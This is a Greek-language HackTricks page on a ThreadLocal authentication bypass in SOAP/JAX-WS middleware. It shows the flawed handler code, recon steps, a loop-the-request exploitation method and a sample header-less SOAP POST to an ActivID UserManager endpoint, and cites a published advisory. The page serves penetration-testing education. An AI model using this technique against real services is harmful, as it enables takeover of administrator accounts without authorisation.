SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
TL;DR
- Ορισμένες αλυσίδες middleware αποθηκεύουν το επαληθευμένο
Subject/Principalμέσα σε ένα staticThreadLocalκαι το ανανεώνουν μόνο όταν φτάσει ένα ιδιόκτητο SOAP header. - Επειδή οι WebLogic/JBoss/GlassFish ανακυκλώνουν τους worker threads, η απουσία αυτού του header προκαλεί το τελευταίο προνομιούχο
Subjectπου επεξεργάστηκε το thread να επαναχρησιμοποιηθεί σιωπηλά. - Κατακλύστε το ευάλωτο endpoint με σωστά σχηματισμένα SOAP bodies χωρίς header, μέχρι ένα επαναχρησιμοποιημένο thread να σας χορηγήσει το κλεμμένο context του διαχειριστή.
Βασική αιτία
Οι χειριστές παρόμοιοι με τον παρακάτω αντικαθιστούν την thread-local ταυτότητα μόνο όταν το custom header είναι παρόν, οπότε το context του προηγούμενου αιτήματος επιβιώνει:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Αναγνώριση
- Καταγράψτε τους κανόνες reverse proxy / δρομολόγησης για να εντοπίσετε κρυφά SOAP δέντρα που μπορεί να μπλοκάρουν
?wsdlαλλά να δέχονται POSTs (σχεδιάστε τα παράλληλα με τη ροή στο 80,443 - Pentesting Web Methodology). - Αποσυμπιέστε τα EAR/WAR/EJB artifacts (
unzip *.ear) και ελέγξτε ταapplication.xml,web.xml,@WebServiceannotations και τα handler chains (π.χ.,LoginHandlerChain.xml) για να αποκαλύψετε την κλάση handler, το SOAP header QName και τα ονόματα των υποστηρικτικών EJB. - Εάν λείπει metadata, brute-force πιθανές διαδρομές
ServiceName?wsdlή χαλαρώστε προσωρινά τους lab proxies, και εισάγετε οποιοδήποτε ανακτηθέν WSDL σε εργαλεία όπως Burp Suite Wsdler για να δημιουργήσετε baseline envelopes. - Εξετάστε τον κώδικα των handlers για
ThreadLocalkeepers (π.χ.,SubjectHolder.setSubject()) που δεν καθαρίζονται ποτέ όταν το authentication header λείπει ή είναι malformed.
Εκμετάλλευση
- Στείλτε ένα έγκυρο request με το ιδιόκτητο header για να μάθετε τους κανονικούς κωδικούς απόκρισης και τυχόν σφάλματα που χρησιμοποιούνται για invalid tokens.
- Επαναστείλτε το ίδιο SOAP body παραλείποντας το header. Κρατήστε το XML well-formed και σεβαστείτε τα απαιτούμενα namespaces ώστε ο handler να τερματίζει καθαρά.
- Κάντε loop στο request· όταν προσγειωθεί σε ένα thread που προηγουμένως εκτέλεσε privileged action, το επαναχρησιμοποιημένο
Subjectξεκλειδώνει προστατευμένες λειτουργίες όπως user ή credential managers.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Επαλήθευση του Σφάλματος
- Συνδέστε το JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ή παρόμοια debugging hooks για να παρακολουθήσετε τα περιεχόμενα τουThreadLocalπριν και μετά από κάθε κλήση, επιβεβαιώνοντας ότι ένα μη-πιστοποιημένο αίτημα κληρονόμησε έναν προηγούμενο διαχειριστήSubject.
Αναφορές
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


